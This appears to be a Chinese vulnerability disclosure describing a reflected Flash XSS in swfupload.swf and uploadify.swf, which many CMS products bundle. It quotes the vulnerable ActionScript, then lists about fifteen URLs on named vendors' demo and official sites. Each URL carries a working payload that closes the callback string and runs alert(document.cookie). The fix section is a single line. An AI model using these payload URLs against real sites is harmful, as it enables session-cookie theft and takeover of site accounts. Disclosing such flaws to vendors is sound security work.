实际上是很老一个问题，但经过我的测试，发现国内各大cms厂商，包括但不限于dedecms、phpcms、cmseasy、espcms、phpyun、thinksns、骑士人才系统、phpdisk、国微php168、phpok、kesioncms、pageadmin、xheditor、sdcms、emlog、dtcms等等都存着此安全漏洞(以上基本都有demo站或官网验证)，不限于服务端语言（php、asp、aspx、jsp等）、不限操作系统及服务器中间件、不限浏览器种类及filter、能绕过大部分WAF，轻则越权操作，重则直接getshell，危害不可估量。其实你们已经发现了，漏洞类型是“XSS跨站脚本攻击”。
为了防止小伙伴们都来刷奖金、刷rank，我决定一起提交了，希望引起各大cms厂商的重视！
 

0x01 概述

相信很多站长对swfupload.swf、uploadify.swf这样的文件不陌生，做站的时候常常看到。实际上这是一个著名的利用swf异步上传的一个插件。

它可以很好解决异步上传、多文件异步上传的问题，很快这个插件就红遍了cms界，各大cms都使用这个swf来处理上传问题。

但是，这个swf却是一颗含有xss问题的定时炸弹！
 

this.movieName = root.loaderInfo.parameters.movieName;
            this.flashReady_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].flashReady");
            this.fileDialogStart_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].fileDialogStart");
            this.fileQueued_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].fileQueued");
            this.fileQueueError_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].fileQueueError");
            this.fileDialogComplete_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].fileDialogComplete");
            this.uploadStart_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadStart");
            this.uploadProgress_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadProgress");
            this.uploadError_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadError");
            this.uploadSuccess_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadSuccess");
            this.uploadComplete_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadComplete");
            this.debug_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].debug");
            this.testExternalInterface_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].testExternalInterface");
            this.cleanUp_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].cleanUp");

代码可见，从参数（root.loaderInfo.parameters.movieName）中获得movieName后直接赋值到一些callback响应函数中，这些函数是js中执行的内容。我们只需闭合前面的"]，再闭合try..catch中大括号}，即可执行自己的javascript代码，造成反射型XSS。

因为是flash xss，而且没有过多关键字，所以无视浏览器filter和大部分WAF（因为在前端运行），所以影响较大，轻则越权操作、产生XSS、csrf蠕虫，重则直接getshell（结合某些cms的后台getshell技巧）。



0x02 各大cms纷纷躺枪

由于中招的cms过多，我就不一一截图了，直接给出官网demo或网上实例做演示吧：
 

cmseasy demo站：
http://demo.cmseasy.cn/common/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

espcms demo站：
http://demo.ecisp.cn/adminsoft/js/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

phpcms v9 demo站：
http://v9.demo.phpcms.cn/statics/js/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

dedecms 织梦内容管理系统官网：
http://www.dedecms.com/images/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

phpyun人才系统demo站：
http://www.hr135.com/js/upload/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

thinksns demo站：
http://demo.thinksns.com/t3/addons/theme/stv1/_static/js/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

74cms某网络实例：
http://www.56jobw.com/admin/kindeditor/plugins/multiimage/images/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

phpdisk demo站之一：
http://demo.phpdisk.com/f/includes/js/upload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

国微php168 demo站：
http://sharp.php168.net/gov15/js/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

phpok demo站：
http://www.phpok.com/js/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

kesioncms demo站：
http://e.kesion.com/Plus/swfupload/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

pageadmin demo站：
http://demo.pageadmin.net/e/incs/fckeditor/editor/plugins/swfupload/js/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

xheditor demo我没找到路径，但下载的程序包中也存在swfupload.swf文件，经测试也可以触发xss。xheditor是网上应用很多的轻编辑器，所以会引起蝴蝶效应，导致更多cms出现问题：
http://xheditor/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

时代cms demo站：
http://demo.sdcms.cn/lib/swf/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

emlog 官方易梦主机：
http://host.emlog.net/include/lib/js/uploadify/uploadify.swf?movieName="]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

 

0x03 证明：



dedecms演示：
 

phpcms v9演示：
 

cmseasy 演示：
 

espcms 演示：
 

phpyun 演示：
 

多的我就不截图了。几乎都是在乌云注册的各大厂商，以及政府、企业、学校用的很多的CMS，包括不限于PHP、asp（kesioncms）、aspx（pageadmin、dtcms等）。



其中xheditor是编辑器，又被很多cms所引用，所以能够影响所有使用xheditor的用户，包括但不仅限于以下列表：
 

 

修复方案：

更新swf，进行过滤